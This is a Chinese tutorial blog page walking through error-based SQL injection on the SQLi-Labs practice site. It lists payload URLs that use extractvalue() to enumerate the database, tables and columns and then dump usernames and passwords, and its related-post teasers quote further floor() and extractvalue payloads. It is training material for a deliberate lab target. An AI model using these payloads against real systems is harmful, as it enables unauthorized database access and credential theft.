SQL注入—基于报错注入

sql注入之报错注入 报错注入的原理基于应用程序在处理数据库查询时产生的错误信息。当应用程序执行一个含有恶意SQL代码的查询时,如果查询出错(例如,由于语法错误或权限不足),数据库系统通常会返回一个错误信息给应用程序。当它的第二个参数不是一个合法的XPath表达式时,会引发错误,并可能返回包含攻击者所需信息的错误消息。在报错注入中,攻击者可能会构造特定的SQL语句,利用floor()函数的特性来触发错误,并从中获取数据库信息。:这也是MySQL的一个XML函数,用于改变(查找并替换)XML文档中符合条件的节点的值。 阅读详情

问SQLi-Labs网站 

在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-2。访问的URL为:

http://[靶机IP]/sqli-labs/Less-1/

登录后,根据网页提示,给定一个GET参数,即:

http://[靶机IP]/sqli-labs/Less-1/?id=1

此时页面显示id=1的用户名Dump、密码Dump。

以此来检验浏览器是否安装Hackbar插件,界面F9按键是启用或停用。

寻找注入点

分别用以下3条payload寻找注入点及判断注入点的类型:

http://[靶机IP]/sqli-labs/Less-1/?id=1'

运行后报错!

 

http://[靶机IP]/sqli-labs/Less-1/?id=1' and '1'='1

运行后正常显示!

 http://[靶机IP]/sqli-labs/Less-1/?id=1' and '1'='2

运行后未正常显示!

 由此可以判断,网站存在字符型注入点。

获取网站当前所在所在数据库的库名

使用以下payload获取网站当前所在数据库的库名:

 http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',database()))--+

显示结果为security。

获取数据库security的全部表名

使用以下payload获取数据库security的全部表名:

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+

结果显示,有一个名为users的表可能存放用户的基本信息。

 注意:extractvalue()函数所能显示的错误信息最大长度为32,如果错误信息超过了最大长度,有可能导致显示不全。因此,有时需要借助limit来做分行显示,上述payload可改为:

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1)))--+

显示security库中的第1张表的名字

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 1,1)))--+

显示security库中的第2张表的名字

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 2,1)))--+

显示security库中的第3张表的名字

获取users表的全部字段名

使用以下payload获取users表的全部字段名:

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users')))--+

显示结果,users表中有id、username和password三个字段。

为避免错误信息台词导致显示不全,需要借助limit来做分行显示。

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)))--+

显示users表中的第1个字段名

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1)))--+

显示users表中的第2个字段名

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1)))--+

显示users表中的第3个字段名

获取users表id、username和password字段的全部值。

由于users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我们可以通过limit M,N的方式逐条显示。

显示第一组数据

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 0,1)))--+

显示结果Dump, Dump。 

显示第二组数据

 

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 1,1)))--+

显示结果Angelina,l-kill-you。 

显示第三组数据

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 2,1)))--+

显示结果Dummy,p@ssword。

 

 

渗透测试[简单的sql漏洞利用] 二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 暗月内部文档 请勿外出 51 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是 addslashes 有一个特点就是虽然参数在过滤 后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数 据。在下一次进行需要进行查询的时候,直接 从数据库中取出了脏数据,没有进行下一步的检验和处理,这样就会造成 SQL 的二次注入。导致传上去的sql语句为" 阅读详情

相关推荐

SQL注入:报错注入

QL注入是一种常见的安全漏洞,它允许攻击者通过在应用程序的输入中注入恶意的SQL代码来执行未经授权的数据库操作。报错注入是一种SQL注入的类型,它利用数据库在执行恶意SQL语句时产生的错误消息来获取有关数据库结构和数据的信息。 假设有一个使用用户输入构建SQL查询的应用程序。攻击者可以通过在输入中注入恶意的SQL代码来触发数据库错误,并从错误消息中获取有关数据库的信息,如表名、列名等。这些信息可以帮助攻击者进一步利用数据库。

qq_68163788的博客 3822

SQL注入之报错注入的一些随笔

0x00.序言关于报错注入的话虽然我在我之前的文章里面写了一些,但是sql注入的姿势实在是太多了。之前写过的payload不全也不系统。今天抽出时间来总结一下。ps:关于报错注入的原理和使用的基本函数我在我之前的文章《SQLI-LABS修炼笔记(二)》中已经详细说过了,如果不懂可以去看看。ps的ps:这里以SQLI-LABS的LESS-5为例题作为示范。0x01.floor()报错注入http:/...

郁离歌丶的博客 4873

SQL注入之基于布尔的盲注详解

首先说明的盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注。这篇文章主要讲解的是基于布尔的盲注。下面来一起看看吧。

最常见的SQL报错注入函数(floor、updatexml、extractvalue)及payload总结

extractvalue() 能查询字符串的最大长度为 32,如果我们想要的结果超过 32,就要用 substring() 函数截取或 limit 分页,一次查看最多 32 位。其实有时候我们可以使用group_concat()将所以查询内容列出,但是要取决于题目具体环境,如果无法使用,则使用limit语句来限制查询结果的列数,逐条查询。但是这里回显要么存在,要么无回显,因此无法使用联合查询注入,而且也不存在回显为真或者假两种情况,排除掉盲注,那么这关需要使用的是报错注入。

Welcome To My6n Blog 9354

LLaVA-1.5:多模态视觉问答新突破

LLaVA-1.5在多模态视觉问答(VQA)任务中取得了显著进展,主要得益于视觉-语言连接器的优化和特定任务数据集的增加。通过将连接器升级为两层MLP,模型在处理视觉与语言关系时表现更佳。同时,引入如OKVQA、OCRVQA等数据集,增强了模型在复杂视觉推理任务中的能力。在11个基准测试中,LLaVA-1.5超越了现有方法,展示了其强大的多模态能力。此外,模型通过提升输入图像分辨率、扩展语言模型和改进多语言能力,进一步提升了性能。尽管在短格式回答任务中初期表现不佳,但通过调整提示格式和微调,其性能显著提升

weixin_57060548的博客 945

最速下降法、牛顿法、拟牛顿法,Python实现高维二次目标函数优化

原理什么的就不说了,只有代码。。。 十元二次目标函数,求极小值点。 1.最速下降法 import random import numpy as np import matplotlib.pyplot as plt from sympy import * def goldsteinsearch(f, df, d, x, alpham, rho, t): flag = 0 a = 0 b = alpham fk = f(x) gk = df(x)

我乐飞的技术博客 2243

SQL报错注入

本篇为SQL注入的报错注入,详细内容包含了sqllabs第五关报错注入 updatexml报错注入原理及思路 常见的报错函数 floor报错注入原理 1、概念 2、函数回顾 2.1 rand函数 2.2 floor(rand(0)*2)函数 2.3 group by函数 2.4 count(*)函数 2.5 函数综合报错 3、报错分析 4、总结等等

钟言的博客 1万+

Chipyard------介绍与环境搭建

Chipyard是一个开源的、可扩展的、集成化的芯片设计平台,旨在帮助芯片设计人员快速、高效地开发自己的定制芯片。由伯克利大学架构研究小组开发,它基于Chisel语言和Scala编程语言,提供了一整套硬件设计工具和流程,包括RTL设计、验证、物理布局、仿真等,以及支持多种芯片体系结构的库和模块。

qq_38798111的博客 9479

SQL注入-报错注入

前言 之前没有对SQL报错注入详细总结过,总结一下。 12种SQL报错注入 1、通过floor报错,注入语句如下: and select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); 2、通过extractvalue报错,注入语句如下: ...

qwzf 3659

Cadence Virtuoso实战:3分钟搞定反相器参数化设计(附CDF配置避坑指南)

本文详细介绍了如何在Cadence Virtuoso中利用CDF参数传递功能实现反相器的参数化设计,包括PMOS和NMOS的基础搭建、CDF配置技巧及常见报错解决方案。通过实战案例和避坑指南,帮助工程师快速掌握高效设计方法,提升集成电路设计效率。

weixin_28292761的博客 336

199、医疗内窥镜影像:微型镜头与高色彩保真度的ISP定制化方案

医疗内窥镜影像系统开发面临三大光学挑战:衍射极限导致分辨率下降,微型镜头色差严重,镀膜不足引发红外漏光。团队通过定制化ISP方案解决问题:采用分区色差补偿、红外泄露补偿技术,开发12区域分段颜色校正矩阵,并设计自适应伽马曲线。关键经验包括锁定白平衡避免术中偏色,优化FPGA流水线确保30fps流畅度,强调光学标定优先于算法优化。最终方案使DeltaE降至3以下,满足医生对组织颜色细微差异的识别需求,尤其解决了血管与脂肪边界辨识难题。

zzfmlxs的博客 265

sql注入——报错注入

报错注入是什么 什么是报错注入? 这是一种页面响应形式。响应过程如下: 用户在前台页面输入检索内容 后台将前台页面上输入的检索内容无加区别的拼接成sql语句,送给数据库执行。 数据库将执行的结果返回给后台,后台将数据库执行的结果无加区别的显示到前台页面上。 报错注入存在的基础:两个“无加区别”后台对于输入输出的合理性没有做检查 分类 1. 通过floor()报错注入 2.通过extractValue()报错注入 3.通过updateXml()报错注入 4.通过NAME_CONST()

m0_73756016的博客 4702

微信小程序- 云开发上传并部署云函数时报错ResourceNotFound.Function, 未找到函数版本,请创建后再试。(小程序上传部署云函数提示错误,开发控制台中的云函数没有删除,详细排查)

微信小程序——云函数上传失败,微信小程序——解决上传并部署云函数时报错ResourceNotFound.Function, 未找到函数版本,请创建后再试。微信小程序上传云函数失败,微信小程序云开发|Error: ResourceNotFound.FunctionName, FunctionName 指定的资源不存在。微信云开发报错(Error: ResourceNotFound.FunctionName,微信小程序云函数报错,上传云函数 sum 失败 Error:,上传部署我们的云函数 2. 报错 错误信息

🏆 前端领域优质创作者 4316

SQL注入之报错注入方法汇总

响应过程:用户在前台页面输入检索内容后台将前台页面上输入的检索内容无加区别的拼接成sql语句,送给数据库执行数据库将执行的结果返回后台,后台将数据库执行的结果无加区别的显示在前台页面0.2 类型。

wanggonghanfei的博客 2905

Python 爬虫 + 数据分析:社会调查数据抓取与结果可视化分析

在当今数字化时代,数据已成为推动社会发展的关键资源之一。无论是市场调研、学术研究还是政策制定,社会调查数据都扮演着至关重要的角色。通过 Python 爬虫技术,我们可以高效地获取这些数据,并结合数据分析与可视化工具,深入挖掘数据背后的价值。本文将通过一个完整的实战项目,带你掌握如何使用 Python 爬虫抓取社会调查数据,并进行可视化分析。

yansideyucsdn的博客 126

脑电信号处理实战 01 | 从 0 跑通第一个 EEG 分析:加载、滤波、频谱与“睁眼闭眼“

本文以 UCI 公开数据集"EEG Eye State"为例,从零走通脑电处理的完整流水线——数据加载、1–40 Hz 带通滤波、Welch 功率谱、频带功率、通道相关性与箱线图质控、睁闭眼对比和时频分析,并用 8 张科研风格图层层揭示这份数据中的伪迹与通道重复问题,说明"流程跑得通不等于结果可信,质量控制永远先行"。

qq_53529450的博客 116

最详细的SQL注入之报错注入

最详细的sql注入之报错注入,非常适合小白!!

qq_62539372的博客 1万+

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

SQL注入—报错注入

第二次是假设group by后面的字段的值在虚拟表中不存在,那就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致主键的重复,进而引发错误。很显然rand(0)是伪随机的,有规律可循,这也是我们采用rand(0)进行报错注入的原因,rand(0)是稳定的,这样每次注入都会报错,而rand()则需要碰运气了,我们测试结果如下。//以下案例代码是抄的。

Forget_liu的博客 1957

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

SQL注入之报错注入

然而,当XPath表达式构造不当,例如包含了非法字符或者尝试执行一个无法解析为有效XPath表达式的字符串时,函数会抛出错误,并且错误信息可能包含有关查询的信息,这便为报错注入提供了机会。floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。这个表名可能不存在,服务器会抛出一个错误消息,可能揭示表是否存在的信息。

2301_80661529的博客 1983

Sql注入-报错注入

报错注入(Error-Based Injection)是一种通过引起数据库报错并从错误信息中提取有用信息的SQL注入攻击手法;攻击者利用数据库在处理异常情况时返回的错误消息,来推断出数据库结构、字段名甚至数据内容;这种攻击方法依赖于数据库将详细的错误消息返回给客户端。若在测试时发现网页会回显sql相关的报错信息,那么此时就可以尝试使用错误注入这种方式进行渗透。可以利用报错注入的前提:就是页面有错误信息显示出来、保证函数能够正确执行。

WolvenSec的博客 2721

SQL注入--报错注入

报错注入是利用数据库错误信息中的回显内容来获取数据库信息。注入点没有直接显示查询结果,但通过构造触发SQL错误,让数据库“说出”它自己。报错盲注是最强力的非回显注入手段之一,能快速泄露数据库信息与是核心武器一旦发现无回显注入点,应优先尝试报错注入而非盲注爆破多练习,熟练掌握这些报错语句的结构、逻辑和组合方法,配合Pikachu/DVWA等靶场效果最佳。

rasssel的博客 894
上一篇: SQL注入—基于联合查询的POST注入
下一篇: SQL注入基于报错的注入2
冰 雪
博客等级 码龄5年 85粉丝 58原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值